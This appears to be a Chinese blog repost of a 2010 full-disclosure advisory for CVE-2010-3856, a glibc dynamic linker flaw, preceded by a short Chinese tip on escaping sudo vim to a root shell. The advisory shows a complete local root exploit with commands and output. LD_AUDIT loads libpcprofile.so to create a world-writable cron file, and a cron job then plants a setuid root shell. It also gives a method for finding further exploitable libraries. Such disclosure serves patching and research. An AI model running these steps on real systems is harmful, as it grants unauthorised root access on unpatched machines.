shell>exec 3 < /bin/ping ---->系統馬上自動退出終端,而且history指令行曆史記錄裡面也加密了!
//另外，vim 在sudo user裡的話，可以直接sudo vim (如果可以sudo的話)進去，然後 :!bash，即可提權ROOT.
From: Tavis Ormandy <taviso () cmpxchg8b com>
Date: Mon, 18 Oct 2010 12:17:25 +0200
<code>from: http://marc.info/?l=full-disclosure&m=128776663124692&w=2</code>
<code>The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads</code>
<code>-------------------------------------------------------------------------------</code>
<code>Cześć, This advisory describes CVE-2010-3856, an addendum to CVE-2010-3847.</code>
<code>Please see http://seclists.org/fulldisclosure/2010/Oct/257 for background</code>
<code>information.</code>
<code>For obvious reasons, the dynamic linker will ignore requests to preload user</code>
<code>specified libraries for setuid/setgid programs. However, it is possible to</code>
<code>imagine legitimate use cases for this functionality, so the glibc developers</code>
<code>provide an exception to this rule.</code>
<code> </code><code>LD_PRELOAD</code>
<code> </code><code>A whitespace-separated list of additional, user-specified, ELF</code>
<code> </code><code>shared libraries to be loaded before all others. This can be</code>
<code> </code><code>used to selectively override functions in other shared</code>
<code> </code><code>libraries. For set-user-ID/set-group-ID ELF binaries, only</code>
<code> </code><code>libraries in the standard search directories that are also set-</code>
<code> </code><code>user-ID will be loaded.</code>
<code>In order to be preloaded during the execution of a privileged program, a</code>
<code>library must be setuid and in the trusted library search path. This is a</code>
<code>reasonable design, before a library will be loaded, the system administrator</code>
<code>must brand a library as safe to load across privilege boundaries.</code>
<code>This feature allows developers who design their programs to operate safely</code>
<code>while running as setuid to opt-in to doing so. Bizarrely, the same conditions</code>
<code>do not apply to LD_AUDIT, which will load an arbitrary DSO, regardless of</code>
<code>whether it has been designed to operate safely or not.</code>
<code>While the dynamic loader will only use a library that exports the dynamic</code>
<code>symbols required by the rtld-auditing API, it must first dlopen() the</code>
<code>library in order to examine the exported symbols. By definition, this must</code>
<code>execute any defined initialization routines.</code>
<code>This confusion can be exploited by locating a DSO in the trusted search path with</code>
<code>initialization code that has not been designed to operate safely while euid !=</code>
<code>uid. See the Notes section below for additional discussion on this topic.</code>
<code>--------------------</code>
<code>Affected Software</code>
<code>------------------------</code>
<code>At least the following versions have been tested</code>
<code> </code><code>2.12.1, FC13</code>
<code> </code><code>2.5, RHEL5 / CentOS5</code>
<code> </code><code>2.11.1, Ubuntu 10</code>
<code>Consequences</code>
<code>-----------------------</code>
<code>This is a low impact issue that is only of interest to security</code>
<code>professionals and system administrators, end users do not need to be</code>
<code>concerned.</code>
<code>It is possible to exploit this confusion to execute arbitrary code as root.</code>
<code>The exact steps required to exploit this vulnerability will vary from</code>
<code>distribution to distribution, but an example from Ubuntu 10.04 is given below.</code>
<code># The creation mask is inherited by children, and survives even a setuid</code>
<code># execve. Therefore, we can influence how files are created during</code>
<code># exploitation.</code>
<code>$ umask 0</code>
<code># libpcprofile is distributed with the libc package.</code>
<code>$ dpkg -S /lib/libpcprofile.so</code>
<code>libc6: /lib/libpcprofile.so</code>
<code>$ ls -l /lib/libpcprofile.so</code>
<code>-rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so</code>
<code># We identified one of the pcprofile constructors is unsafe to run with</code>
<code># elevated privileges, as it creates the file specified in the output</code>
<code># environment variable.</code>
<code>$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping</code>
<code>ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined \</code>
<code> </code><code>symbol: la_version; ignored.</code>
<code>Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]</code>
<code> </code><code>[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]</code>
<code> </code><code>[-M mtu discovery hint] [-S sndbuf]</code>
<code> </code><code>[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination</code>
<code># This results in creating a world writable file in the crontab directory.</code>
<code>$ ls -l /etc/cron.d/exploit</code>
<code>-rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit</code>
<code># Setup a cronjob to give us privileges (of course, there are dozens of other</code>
<code># ways this could be exploited).</code>
<code>$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > \</code>
<code>/etc/cron.d/exploit</code>
<code># Wait a few minutes...</code>
<code>$ ls -l /tmp/exploit</code>
<code>ls: cannot access /tmp/exploit: No such file or directory</code>
<code>-rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit</code>
<code># A setuid root shell appears.</code>
<code>$ /tmp/exploit</code>
<code># whoami</code>
<code>root</code>
<code>-------------------</code>
<code>Solution</code>
<code>Major distributions should be releasing updated glibc packages shortly.</code>
<code>Credit</code>
<code>This bug was discovered by Tavis Ormandy.</code>
<code>Thanks to Ben Hawkes and Julien Tinnes for additional insight, and</code>
<code>their expertise tracking down convincing attack vectors.</code>
<code>Greetz</code>
<code>Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,</code>
<code>Asirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D.,</code>
<code>and all my other elite friends and colleagues.</code>
<code>Additional greetz to the openwall guys who saw this problem coming years ago.</code>
<code>They continue to avoid hundreds of security vulnerabilities each year thanks to</code>
<code>their insight into systems security.</code>
<code>http://www.openwall.com/owl/</code>
<code>Notes</code>
<code>Finding candidate libraries is simple a matter of identifying DSOs that have</code>
<code>declared constructors or other initialization code. There are multiple</code>
<code>locations that initialization code can be declared, but .ctors is a common</code>
<code>example.</code>
<code>Using objdump, you can examine the section headers for any .ctors section.</code>
<code>$ find /lib /usr/lib -maxdepth 1 -type f -exec objdump --headers --section=.ctors {} \</code>
<code>\;</code>
<code>[ The system administrator can add additional trusted search paths by declaring</code>
<code> </code><code>them in /etc/ld.so.conf, but /lib and /usr/lib are the default paths. ]</code>
<code>If a ctors section has a size greater than 2 * wordsize, constructors have been</code>
<code>declared, and should be checked to see if they do anything interesting. An</code>
<code>empty list is 2 * wordsize bytes because it must still hold the two invalid</code>
<code>function pointers inserted into the list to mark list boundaries (alternatively</code>
<code>you could print the difference between the symbols __CTOR_LIST__ and</code>
<code>__CTOR_END__).</code>
<code>http://gcc.gnu.org/onlinedocs/gcc-2.95.3/gcc_17.html#SEC237</code>
<code> </code><code>"Each list always begins with an ignored function pointer (which may hold 0, -1,</code>
<code> </code><code>or a count of the function pointers after it, depending on the environment).</code>
<code> </code><code>This is followed by a series of zero or more function pointers to constructors</code>
<code> </code><code>(or destructors), followed by a function pointer containing zero."</code>
<code>$ objdump --section=.ctors --headers /usr/lib/liblftp-tasks.so.0</code>
<code>/usr/lib/liblftp-tasks.so.0: file format elf32-i386</code>
<code>Sections:</code>
<code>Idx Name Size VMA LMA File off Algn</code>
<code> </code><code>17 .ctors 00000040 00ddafc4 00ddafc4 00071fc4 2**2</code>
<code> </code><code>CONTENTS, ALLOC, LOAD, DATA</code>
<code>Alternatively,</code>
<code>$ gdb -q /usr/lib/liblftp-tasks.so.0</code>
<code>Reading symbols from /usr/lib/liblftp-tasks.so.0...(no debugging symbols \</code>
<code>found)...done. (gdb) symbol-file /usr/lib/debug/usr/lib/liblftp-tasks.so.0.debug</code>
<code>(gdb) p &__CTOR_END__ - &__CTOR_LIST__</code>
<code>$1 = 15</code>
<code>This looks like a good candidate with lots of constructors. You can use objdump</code>
<code>or gdb to dump the contents of the list.</code>
<code>$ objdump --full-contents --section=.ctors /usr/lib/liblftp-tasks.so.0</code>
<code>Contents of section .ctors:</code>
<code> </code><code>ddafc4 ffffffff 205fd800 e068d800 d07ad800 .... _...h...z..</code>
<code> </code><code>ddafd4 608ad800 6067d900 7079d900 b0b3d900 `...`g..py......</code>
<code> </code><code>ddafe4 d004da00 a037da00 403bda00 3061da00 .....7..@;..0a..</code>
<code> </code><code>ddaff4 9062da00 90aada00 20ebdb00 00000000 .b...... .......</code>
<code>Notice the ffffffff at the start of the list, and 00000000 terminating it. The</code>
<code>other entries are function pointers, stored in native byteorder.</code>
<code>Examining the source code reveals it will mkdir(getenv("LFTP_HOME"), 0755) in</code>
<code>the constructors for the Bookmark and History classes, so we can use this to</code>
<code>create arbitrary directories as root.</code>
<code> </code><code>40 Bookmark::Bookmark()</code>
<code> </code><code>41 {</code>
<code> </code><code>42 const char *home = get_lftp_home();</code>
<code> </code><code>...</code>
<code> </code><code>47 }</code>
<code>Followed by:</code>
<code>785 const char *get_lftp_home()</code>
<code>786 {</code>
<code>792 home = getenv("LFTP_HOME");</code>
<code>811 mkdir(home, 0755);</code>
<code>812 return home;</code>
<code>813 }</code>
<code>Therefore,</code>
<code>$ LD_AUDIT="liblftp-tasks.so.0" LFTP_HOME=/etc/exploit ping</code>
<code>ERROR: ld.so: object 'liblftp-tasks.so.0' cannot be loaded as audit interface: \</code>
<code> </code><code>undefined symbol: la_version; ignored.</code>
<code>$ ls -ld /etc/exploit</code>
<code>drwxr-x---. 2 root taviso 4.0K Oct 22 01:18 /etc/exploit/</code>
<code>And so on, repeat for all accessible DSOs. The ELF standards document</code>
<code>initialization and termination here</code>
<code>http://web.archive.org/web/20041026003725/www.caldera.com/developers/gabi/2003-12-17/c \</code>
<code>h5.dynamic.html#init_fini</code>
<code>References</code>
<code>- http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual.</code>
<code>- http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux \</code>
<code> </code><code>Programmer's Manual.</code>
<code>- Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0.</code>
<code>You should subscribe to Linux Weekly News and help support their high standard</code>
<code>of security journalism.</code>
<code>http://lwn.net/</code>
<code>I have a twitter account where I occasionally comment on security topics.</code>
<code>http://twitter.com/taviso</code>
<code>ex$$</code>
<a target="_blank" href="http://www.exploit-db.com/exploits/15304/">http://www.exploit-db.com/exploits/15304/</a>
![ACS基本配置-權限等級管理[圖]](data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=)